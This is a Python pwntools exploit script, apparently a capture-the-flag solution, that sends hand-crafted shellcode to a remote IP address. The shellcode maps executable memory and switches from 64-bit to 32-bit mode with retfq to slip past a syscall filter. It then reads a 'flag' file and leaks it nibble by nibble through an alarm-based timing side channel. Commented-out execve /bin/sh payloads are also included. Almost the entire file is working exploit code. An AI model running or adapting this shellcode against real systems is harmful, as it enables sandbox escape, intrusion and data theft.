from pwn import *
import time
context(os='linux',log_level='debug')

for pos in range(0,63,4):
    before_time = 0
    try:
        #p = process('./shellcode')
        p = remote('39.105.137.118',"50050")
        #gdb.attach(p,'b *0x40026D')
        #pause()

        append_x86 = '''
        push ebx
        pop ebx
        '''
        shellcode_x86 = '''
        /*fp = open("flag")*/
        mov esp,0x40404100
        push 0x67616c66
        push esp
        pop ebx
        xor ecx,ecx
        mov eax,5
        int 0x80
        mov ecx,eax
        '''

        write_x86 = '''
        mov esp,0x40404160
        mov eax,4
        mov ebx,1
        mov ecx,esi
        mov edx,0x70
        int 0x80
        '''

        shellcode_flag = '''
        push 0x33
        push 0x40404068
        retfq
        /*read(fp,buf,0x70)*/
        mov rdi,3
        mov rsi,rsp
        mov rdx,0x40
        xor rax,rax
        syscall
        /*alarm*/
        mov rax,[rsi]
        shr rax,%d
        and rax,0x0f
        mov rdi,rax
        mov rax,37
        syscall
        mov rdi,0
        mov rsi,rsp
        mov rdx,0x70
        xor rax,rax
        syscall
        ''' % pos

        '''
        push 0x23
        push 0x4040408d
        pop rax
        push rax
        retfq
        '''



        shellcode_x86 = asm(shellcode_x86)# + asm(read_x86) + asm(write_x86)
        #write_x86_asm = asm(write_x86)
        shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')

        shellcode = ''

        append = '''
        push rdx
        pop rdx
        '''
        # 0x40404040 为32位shellcode地址
        shellcode_mmap = '''
        /*mmap(0x40404040,0x7e,7,34,0,0)*/
        push 0x40404040 /*set rdi*/
        pop rdi

        push 0x7e /*set rsi*/
        pop rsi

        push 0x40 /*set rdx*/
        pop rax
        xor al,0x47
        push rax
        pop rdx

        push 0x40 /*set r8*/
        pop rax
        xor al,0x40
        push rax
        pop r8

        push rax /*set r9*/
        pop r9

        /*syscall*/
        push rbx
        pop rax
        push 0x5d
        pop rcx
        xor byte ptr[rax+0x31],cl
        push 0x5f
        pop rcx
        xor byte ptr[rax+0x32],cl

        push 0x22 /*set rcx*/
        pop rcx

        push 0x40/*set rax*/
        pop rax
        xor al,0x49

        '''
        shellcode_read = '''
        /*read(0,0x40404040,0x70)*/
        push 0x40404040
        pop rsi
        push 0x40
        pop rax
        xor al,0x40
        push rax
        pop rdi
        xor al,0x40
        push 0x70
        pop rdx
        push rbx
        pop rax
        push 0x5d
        pop rcx
        xor byte ptr[rax+0x57],cl
        push 0x5f
        pop rcx
        xor byte ptr[rax+0x58],cl
        push rdx
        pop rax
        xor al,0x70

        '''

        shellcode_retfq = '''
        push rbx
        pop rax

        xor al,0x40

        push 0x72
        pop rcx
        xor byte ptr[rax+0x40],cl
        push 0x68
        pop rcx
        xor byte ptr[rax+0x40],cl
        push 0x47
        pop rcx
        sub byte ptr[rax+0x41],cl
        push 0x48
        pop rcx
        sub byte ptr[rax+0x41],cl
        push rdi
        push rdi
        push 0x23
        push 0x40404040
        pop rax
        push rax
        '''

        shellcode += shellcode_mmap
        shellcode += append
        shellcode += shellcode_read
        shellcode += append

        shellcode += shellcode_retfq
        shellcode += append
        shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
        #print hex(len(shellcode))

        p.sendline(shellcode)

        #print(disasm(shellcode_x86 +shellcode_flag))
        #p.sendline(shellcode_x86 + 0x10*b'\x90' + shellcode_flag + write_x86_asm)
        p.sendline(shellcode_x86 + 0x08*b'\x90' + shellcode_flag)

        before_time = time.time()
        #print(disasm(shellcode))
        p.recv()
        #p.interactive()
    except Exception as e:
        now_time = time.time()
        print("pos %d time %f" % (pos,now_time-before_time))




'''
payload = b''

payload = payload + asm('mov bl,0x20')
payload = payload + asm('push rbx')
payload = payload + asm('pop rdi')#get /bin/sh
payload = payload + asm('pop rcx')
payload = payload + asm('mov cl,0x79')
payload = payload + asm('push 0x4000003b')
payload = payload + asm('pop rax')
payload = payload + asm('nop') + asm('nop')*0xa
payload = payload + asm('push r14')
payload = payload + asm('pop rsi')
payload = payload + asm('push r14')
payload = payload + asm('pop rdx')
payload = payload + asm('jmp rcx')
'''
#print(disasm(payload))

#payload = asm(shellcraft.sh())
#print(disasm(payload))
#payload = b''
#payload = payload + asm(shellcraft.open("flag.txt"))
#payload = payload + asm(shellcraft.read(3,"rbx",0x10))
#payload = payload + asm(shellcraft.write(1,"rbx",0x10))

#print(disasm(payload))
